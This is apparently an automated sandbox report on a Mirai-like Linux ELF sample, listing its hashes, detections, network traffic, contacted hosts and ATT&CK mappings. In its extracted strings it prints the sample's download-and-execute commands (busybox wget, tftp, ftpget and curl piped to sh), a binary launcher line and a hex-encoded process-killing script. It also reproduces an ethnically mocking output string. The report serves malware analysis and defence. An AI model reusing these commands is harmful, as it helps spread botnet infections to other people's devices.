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Linux Analysis Report
nabppc.elf

Overview

General Information

Sample name:	nabppc.elf
Analysis ID:	1643403
MD5:	bd1686397ef53145df0a2456c83fdd4a
SHA1:	d6fc67ea3076f8fb8b183ce51ebcd217d2b75997
SHA256:	5f674528b0593dc8cff911d9c3555a19f8edc240f24b61c27816753ec0e65db0
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643403
Start date and time:	2025-03-19 20:14:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabppc.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/115@12/0

Runtime Messages

Command:	/tmp/nabppc.elf
PID:	6271
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

nabppc.elf (PID: 6271, Parent: 6188, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/nabppc.elf

nabppc.elf New Fork (PID: 6273, Parent: 6271)

nabppc.elf New Fork (PID: 6275, Parent: 6273)

nabppc.elf New Fork (PID: 6277, Parent: 6273)

nabppc.elf New Fork (PID: 6279, Parent: 6273)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Sends malformed DNS queries

Source: global traffic

DNS traffic detected: malformed DNS query: watchmepull.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:54386 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.23:52264 -> 185.220.204.227:1440
Source: global traffic	TCP traffic: 192.168.2.23:45844 -> 104.248.47.182:1440

Source: /tmp/nabppc.elf (PID: 6271)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 162.55.39.210
Source: unknown	TCP traffic detected without corresponding DNS query: 178.194.55.0
Source: unknown	TCP traffic detected without corresponding DNS query: 162.55.39.210
Source: unknown	TCP traffic detected without corresponding DNS query: 53.180.40.14
Source: unknown	TCP traffic detected without corresponding DNS query: 178.194.55.0
Source: unknown	TCP traffic detected without corresponding DNS query: 121.101.23.242
Source: unknown	TCP traffic detected without corresponding DNS query: 53.180.40.14
Source: unknown	TCP traffic detected without corresponding DNS query: 42.21.147.163
Source: unknown	TCP traffic detected without corresponding DNS query: 121.101.23.242
Source: unknown	TCP traffic detected without corresponding DNS query: 42.21.147.163
Source: unknown	TCP traffic detected without corresponding DNS query: 97.159.36.21
Source: unknown	TCP traffic detected without corresponding DNS query: 97.159.36.21
Source: unknown	TCP traffic detected without corresponding DNS query: 67.80.51.31
Source: unknown	TCP traffic detected without corresponding DNS query: 82.213.50.193
Source: unknown	TCP traffic detected without corresponding DNS query: 67.80.51.31
Source: unknown	TCP traffic detected without corresponding DNS query: 83.218.168.245
Source: unknown	TCP traffic detected without corresponding DNS query: 82.213.50.193
Source: unknown	TCP traffic detected without corresponding DNS query: 55.136.12.121
Source: unknown	TCP traffic detected without corresponding DNS query: 83.218.168.245
Source: unknown	TCP traffic detected without corresponding DNS query: 79.244.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 55.136.12.121
Source: unknown	TCP traffic detected without corresponding DNS query: 79.244.76.112
Source: unknown	TCP traffic detected without corresponding DNS query: 217.80.155.208
Source: unknown	TCP traffic detected without corresponding DNS query: 91.83.213.145
Source: unknown	TCP traffic detected without corresponding DNS query: 217.80.155.208
Source: unknown	TCP traffic detected without corresponding DNS query: 46.130.73.108
Source: unknown	TCP traffic detected without corresponding DNS query: 91.83.213.145
Source: unknown	TCP traffic detected without corresponding DNS query: 96.3.218.215
Source: unknown	TCP traffic detected without corresponding DNS query: 46.130.73.108
Source: unknown	TCP traffic detected without corresponding DNS query: 96.3.218.215
Source: unknown	TCP traffic detected without corresponding DNS query: 192.225.38.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.9.163.198
Source: unknown	TCP traffic detected without corresponding DNS query: 192.225.38.226
Source: unknown	TCP traffic detected without corresponding DNS query: 87.231.136.255
Source: unknown	TCP traffic detected without corresponding DNS query: 52.9.163.198
Source: unknown	TCP traffic detected without corresponding DNS query: 72.211.79.146
Source: unknown	TCP traffic detected without corresponding DNS query: 87.231.136.255
Source: unknown	TCP traffic detected without corresponding DNS query: 72.211.79.146
Source: unknown	TCP traffic detected without corresponding DNS query: 124.37.15.233
Source: unknown	TCP traffic detected without corresponding DNS query: 124.37.15.233
Source: unknown	TCP traffic detected without corresponding DNS query: 134.139.211.136
Source: unknown	TCP traffic detected without corresponding DNS query: 134.139.211.136
Source: unknown	TCP traffic detected without corresponding DNS query: 95.88.137.201
Source: unknown	TCP traffic detected without corresponding DNS query: 178.100.38.90
Source: unknown	TCP traffic detected without corresponding DNS query: 95.88.137.201
Source: unknown	TCP traffic detected without corresponding DNS query: 22.171.94.62
Source: unknown	TCP traffic detected without corresponding DNS query: 178.100.38.90
Source: unknown	TCP traffic detected without corresponding DNS query: 171.183.74.162
Source: unknown	TCP traffic detected without corresponding DNS query: 22.171.94.62

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek
Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn. [malformed]

Source: nabppc.elf	String found in binary or memory: http:///curl.sh
Source: nabppc.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal52.troj.linELF@0/115@12/0

Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6302/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6302/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6304/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6304/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6304/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6304/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6359/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6359/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6303/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6303/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6303/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6303/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6306/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6306/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6306/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6306/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6339/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6339/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6339/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6339/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6305/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6305/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6305/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6305/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6307/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6307/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6307/maps	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6277)	File opened: /proc/6307/cmdline	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/1582/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/3088/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/1579/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/4728/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/1699/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/1335/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/1698/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/1334/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/1576/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/2302/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/910/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/912/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/2307/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/11/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/918/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/6241/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/12/comm	Jump to behavior
Source: /tmp/nabppc.elf (PID: 6271)	File opened: /proc/13/comm	Jump to behavior

Source: /tmp/nabppc.elf (PID: 6271)

Queries kernel information via 'uname':

Jump to behavior

Source: nabppc.elf, 6271.1.000055b18e48f000.000055b18e53f000.rw-.sdmp, nabppc.elf, 6275.1.000055b18e48f000.000055b18e53f000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: nabppc.elf, 6271.1.00007ffd30488000.00007ffd304a9000.rw-.sdmp, nabppc.elf, 6275.1.00007ffd30488000.00007ffd304a9000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/nabppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabppc.elf
Source: nabppc.elf, 6271.1.000055b18e48f000.000055b18e53f000.rw-.sdmp, nabppc.elf, 6275.1.000055b18e48f000.000055b18e53f000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: nabppc.elf, 6271.1.00007ffd30488000.00007ffd304a9000.rw-.sdmp, nabppc.elf, 6275.1.00007ffd30488000.00007ffd304a9000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

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Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nabppc.elf	25%	Virustotal		Browse
nabppc.elf	28%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Reputation
watchmepull.dyn	104.248.47.182	true	false	high
ohlookthereismyboats.geek	45.147.251.145	true	false	high
watchmepull.dyn. [malformed]	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabppc.elf	false		high
http:///curl.sh	nabppc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
29.254.126.114	unknown	United States	7922	COMCAST-7922US	false
93.240.45.111	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
124.22.180.134	unknown	China	23771	SXBCTV-APSXBCTVInternetServiceProviderCN	false
119.82.187.4	unknown	Japan	17698	CCNET-NETCOMMUNITYNETWORKCENTERINCORPORATEDJP	false
28.133.212.169	unknown	United States	7922	COMCAST-7922US	false
112.169.30.252	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
4.221.176.50	unknown	United States	3356	LEVEL3US	false
144.242.45.144	unknown	United States	1239	SPRINTLINKUS	false
3.70.56.41	unknown	United States	16509	AMAZON-02US	false
29.108.9.150	unknown	United States	7922	COMCAST-7922US	false
192.137.49.151	unknown	United States	394017	MIMCUS	false
19.12.155.125	unknown	United States	3	MIT-GATEWAYSUS	false
140.226.211.223	unknown	United States	16519	CUDENVERUS	false
139.167.88.148	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
84.153.114.95	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
55.21.2.78	unknown	United States	1530	DNIC-ASBLK-01529-01530US	false
156.206.112.31	unknown	Egypt	8452	TE-ASTE-ASEG	false
107.36.216.34	unknown	United States	16567	NETRIX-16567US	false
86.184.216.75	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
102.48.241.49	unknown	Morocco	6713	IAM-ASMA	false
96.3.218.215	unknown	United States	11232	MIDCO-NETUS	false
212.70.78.117	unknown	United Kingdom	16174	INTUITIV-ASIntuitivAutonomousSystemGB	false
26.199.51.105	unknown	United States	7922	COMCAST-7922US	false
78.200.125.105	unknown	France	12322	PROXADFR	false
134.139.211.136	unknown	United States	2152	CSUNET-NWUS	false
64.167.10.160	unknown	United States	7132	SBIS-ASUS	false
134.201.204.203	unknown	United States	25876	LADWP-INTERNETUS	false
109.123.31.89	unknown	Slovenia	58056	KRS-NET-ASSI	false
217.80.155.208	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
113.235.143.217	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
64.79.25.47	unknown	United States	17322	NAVIGY-HOLDINGSUS	false
177.118.187.57	unknown	Brazil	27699	TELEFONICABRASILSABR	false
90.245.68.248	unknown	United Kingdom	5378	VodafoneGB	false
206.129.52.133	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
208.144.2.106	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
165.64.77.141	unknown	United States	37053	RSAWEB-ASZA	false
157.193.98.135	unknown	Belgium	2611	BELNETBE	false
82.213.50.193	unknown	Palestinian Territory Occupied	12975	PALTEL-ASPALTELAutonomousSystemPS	false
218.246.57.145	unknown	China	23724	CHINANET-IDC-BJ-APIDCChinaTelecommunicationsCorporation	false
1.59.88.186	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
68.44.13.19	unknown	United States	7922	COMCAST-7922US	false
167.2.37.68	unknown	United States	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
112.115.104.50	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
44.165.131.171	unknown	United States	7377	UCSDUS	false
80.41.51.197	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
121.1.94.174	unknown	Korea Republic of	9694	SEOKYUNG-CATV-AS-KRSeokyungCableTelevisionCoLtdKR	false
18.206.161.108	unknown	United States	14618	AMAZON-AESUS	false
164.105.216.96	unknown	United States	54060	POUDRESCHOOLDISTRICTUS	false
99.182.129.121	unknown	United States	7018	ATT-INTERNET4US	false
184.5.52.6	unknown	United States	5778	CENTURYLINK-LEGACY-EMBARQ-RCMTUS	false
112.240.42.0	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
181.14.99.85	unknown	Argentina	7303	TelecomArgentinaSAAR	false
45.41.183.181	unknown	United States	33307	HOSPITALITY-WIRELESSUS	false
53.18.190.39	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
132.82.135.218	unknown	United States	306	DNIC-ASBLK-00306-00371US	false
95.88.137.201	unknown	Germany	31334	KABELDEUTSCHLAND-ASDE	false
48.105.201.22	unknown	United States	2686	ATGS-MMD-ASUS	false
162.55.39.210	unknown	United States	35893	ACPCA	false
221.187.128.221	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
190.63.163.31	unknown	Ecuador	23487	CONECELEC	false
14.80.18.14	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
140.19.20.218	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
19.66.155.34	unknown	United States	3	MIT-GATEWAYSUS	false
51.112.209.21	unknown	United States	2686	ATGS-MMD-ASUS	false
112.156.157.195	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
171.87.99.72	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
75.118.203.170	unknown	United States	12083	WOW-INTERNETUS	false
129.128.84.156	unknown	Canada	3359	U-ALBERTACA	false
107.167.27.95	unknown	United States	46844	ST-BGPUS	false
215.102.157.209	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
80.89.252.8	unknown	Germany	24875	NOVOSERVE-ASNL	false
172.206.101.120	unknown	United States	18747	IFX18747US	false
52.178.152.48	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.126.44.251	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
171.183.74.162	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
160.178.25.49	unknown	Morocco	36903	MT-MPLSMA	false
